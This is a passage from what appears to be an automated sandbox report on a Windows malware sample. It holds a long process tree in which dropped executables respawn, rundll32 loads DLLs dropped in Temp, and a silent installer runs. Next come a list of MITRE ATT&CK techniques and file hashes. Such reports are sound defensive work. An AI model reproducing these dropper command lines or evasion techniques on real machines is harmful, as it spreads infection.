C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9024
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8128
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:4908
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7776
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8388
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8932
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9548
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10252
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3964 -
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5296
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10368
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12444
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13068
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12868
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:7584
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12816
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8920
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9028
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:1912
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12852
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13104
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5220
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:1496
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13324
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13816
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12804
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:14004
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13528
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:8900
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11684
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13592
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:9336
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13416
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11744
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5848
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:456
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13384
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13900
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:1576
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:4800
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:5756
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5756 -s 2810⤵
- Program crash
PID:12612 -
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12392
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:4092
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:10308
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:14092
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11740
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11096
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11268
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11280
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12008
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11760
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12404
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12236
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:11312
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13628
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12580
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:13380
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:12076
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:14816
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 14816 -s 2810⤵
- Program crash
PID:14636 -
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:14376
-
C:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exeC:\Users\Admin\Documents\Yuvk9b6ccodvNsR2JwuxBAfz.exe9⤵PID:14812
-
C:\Users\Admin\Documents\muQDxtj0UnsrCA4kiLdFmQ0g.exe"C:\Users\Admin\Documents\muQDxtj0UnsrCA4kiLdFmQ0g.exe"8⤵PID:7768
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7768 -s 2809⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2196 -
C:\Users\Admin\Documents\QpFVc4qDEA83KyNYARuSDzUK.exe"C:\Users\Admin\Documents\QpFVc4qDEA83KyNYARuSDzUK.exe"8⤵PID:5876
-
C:\Users\Admin\Documents\DHyHhOpD7alzwhQZKQkqoEjJ.exe"C:\Users\Admin\Documents\DHyHhOpD7alzwhQZKQkqoEjJ.exe"8⤵PID:6864
-
C:\Users\Admin\Documents\un9LQrwOV2iHPurv5fMmo2bD.exe"C:\Users\Admin\Documents\un9LQrwOV2iHPurv5fMmo2bD.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4936 -
C:\Users\Admin\AppData\Roaming\4849177.exe"C:\Users\Admin\AppData\Roaming\4849177.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6024 -
C:\Users\Admin\AppData\Roaming\3741778.exe"C:\Users\Admin\AppData\Roaming\3741778.exe"3⤵
- Executes dropped EXE
PID:5244 -
C:\Users\Admin\AppData\Roaming\2293663.exe"C:\Users\Admin\AppData\Roaming\2293663.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3004 -
C:\Users\Admin\AppData\Roaming\1822748.exe"C:\Users\Admin\AppData\Roaming\1822748.exe"3⤵PID:984
-
C:\Users\Admin\AppData\Roaming\4309220.exe"C:\Users\Admin\AppData\Roaming\4309220.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2012 -s 22404⤵
- Program crash
PID:10208
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv lX+JvkxKV0GZd+6TsanO5Q.0.21⤵
- Modifies data under HKEY_USERS
PID:4816
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3204 -ip 32041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1096
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1264 -ip 12641⤵PID:3256
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 860 -ip 8601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3312
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
PID:3340
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2396 -ip 23961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1868
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 560 -ip 5601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3712
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2092 -ip 20921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5084
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 2472 -ip 24721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1468
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3112
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1776 -ip 17761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5788
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 864 -ip 8641⤵PID:5772
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2424 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:3008
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3008 -s 4603⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5008
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3008 -ip 30081⤵PID:4212
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3788 -ip 37881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6680
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 6824 -ip 68241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3676
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:6728
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:7824 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
PID:7952 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7952 -s 4483⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:7348
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 7952 -ip 79521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4796
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
- Suspicious use of AdjustPrivilegeToken
PID:7408
-
C:\Users\Admin\AppData\Local\Temp\is-VAS7O.tmp\52jBl1MYthE5TY0QSvLnq2OG.tmp"C:\Users\Admin\AppData\Local\Temp\is-VAS7O.tmp\52jBl1MYthE5TY0QSvLnq2OG.tmp" /SL5="$10426,138429,56832,C:\Users\Admin\Documents\52jBl1MYthE5TY0QSvLnq2OG.exe"1⤵PID:8640
-
C:\Users\Admin\AppData\Local\Temp\is-EHD4E.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-EHD4E.tmp\Setup.exe" /Verysilent2⤵PID:9552
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 8476 -ip 84761⤵PID:8600
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 7768 -ip 77681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5940
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 1420 -ip 14201⤵PID:4416
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 8548 -ip 85481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3256
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 732 -p 8872 -ip 88721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2916
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 732 -p 3496 -ip 34961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8328
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 8384 -ip 83841⤵PID:3120
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 6840 -ip 68401⤵PID:8016
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 736 -p 6024 -ip 60241⤵PID:2624
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 732 -p 5536 -ip 55361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7152
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 9124 -ip 91241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4420
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 6864 -ip 68641⤵PID:2624
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2012 -ip 20121⤵PID:2200
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 6284 -ip 62841⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:9004
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 8504 -ip 85041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:9284
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 10068 -ip 100681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:9416
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:7388 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:5092
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 4563⤵
- Program crash
PID:9884
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5092 -ip 50921⤵PID:10072
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1244 -ip 12441⤵PID:6508
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 9916 -ip 99161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2624
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 8616 -ip 86161⤵PID:8700
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 8120 -ip 81201⤵PID:6824
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 572 -p 6348 -ip 63481⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:8640
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 720 -p 6656 -ip 66561⤵PID:4464
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 7704 -ip 77041⤵PID:5136
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 7336 -ip 73361⤵PID:8240
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 828 -p 2940 -ip 29401⤵PID:5820
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 664 -p 9208 -ip 92081⤵PID:7676
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 848 -p 9692 -ip 96921⤵PID:4704
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 852 -p 10168 -ip 101681⤵PID:4992
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4768 -ip 47681⤵PID:3780
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 840 -p 1940 -ip 19401⤵PID:6552
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 856 -p 8580 -ip 85801⤵PID:9472
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 10864 -ip 108641⤵PID:7104
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 852 -p 4216 -ip 42161⤵PID:10340
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 876 -p 5800 -ip 58001⤵PID:2700
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 7424 -ip 74241⤵PID:3144
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 10932 -ip 109321⤵PID:10600
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 888 -p 7244 -ip 72441⤵PID:1568
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 2912 -ip 29121⤵PID:10028
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 6296 -ip 62961⤵PID:12496
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 888 -p 12512 -ip 125121⤵PID:12712
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 888 -p 1352 -ip 13521⤵PID:6296
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 904 -p 2272 -ip 22721⤵PID:13128
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 884 -p 13272 -ip 132721⤵PID:2720
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 860 -p 12684 -ip 126841⤵PID:1608
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 892 -p 8140 -ip 81401⤵PID:8908
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 860 -p 8696 -ip 86961⤵PID:4004
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5756 -ip 57561⤵PID:12596
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 916 -p 13640 -ip 136401⤵PID:14104
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 860 -p 14816 -ip 148161⤵PID:14380
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 15084 -ip 150841⤵PID:14588
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 820 -p 14392 -ip 143921⤵PID:11512
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1Modify Registry
2Virtualization/Sandbox Evasion
1Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
MD5
07e143efd03815a3b8c8b90e7e5776f0
SHA1077314efef70cef8f43eeba7f1b8ba0e5e5dedc9
SHA25632967e652530e7ac72841886cb07badcced11e1e725e2e85e1ee8046c4fe2149
SHA51279ed77bbcac3f84d846b4b02e1a50a197d857d4b1d6abd84a45393bb3c262768ab6f3952733a1ae6010978ab598842d9b7ac4be5a5b23c374a3d4796c87a38d6
-
MD5
07e143efd03815a3b8c8b90e7e5776f0
SHA1077314efef70cef8f43eeba7f1b8ba0e5e5dedc9
SHA25632967e652530e7ac72841886cb07badcced11e1e725e2e85e1ee8046c4fe2149
SHA51279ed77bbcac3f84d846b4b02e1a50a197d857d4b1d6abd84a45393bb3c262768ab6f3952733a1ae6010978ab598842d9b7ac4be5a5b23c374a3d4796c87a38d6
-
MD5
23bcdc132d1f2aaf8d248b6a5bd21801
SHA12153acec77f4a57c621a3e38d523eb6df9b29134
SHA256a7cb6d861c75f36c32cb5a304b0d8d84b5bc0bedd7da2eb942e4d67288f7123b
SHA512d9684eab46e5431bc69b70154bbef7a3126f0719a80792f120a3a436e6f4f23cf1229d4b4293c1aff4202ab748144ce19dbc4c39f74f631e1b6f9336259f02db
-
MD5
23bcdc132d1f2aaf8d248b6a5bd21801
SHA12153acec77f4a57c621a3e38d523eb6df9b29134
SHA256a7cb6d861c75f36c32cb5a304b0d8d84b5bc0bedd7da2eb942e4d67288f7123b
SHA512d9684eab46e5431bc69b70154bbef7a3126f0719a80792f120a3a436e6f4f23cf1229d4b4293c1aff4202ab748144ce19dbc4c39f74f631e1b6f9336259f02db
-
MD5
68737ab1a037878a37f0b3e114edaaf8
SHA10ba735d99c77cb69937f8fcf89c6a9e3bc495512
SHA2567bf16a22ac10e1dc50dc302c7d1c196dff361ee5c8e830ddb0cec90b548b483a
SHA512f30fa001c604fe4aee324fc4af5b784feae262a62983bd2364721f83ad2522b714c0286b97569b927da5741339d8a0633cbd6abcae3e45f943d5f4ae9168b271
-
MD5
68737ab1a037878a37f0b3e114edaaf8
SHA10ba735d99c77cb69937f8fcf89c6a9e3bc495512
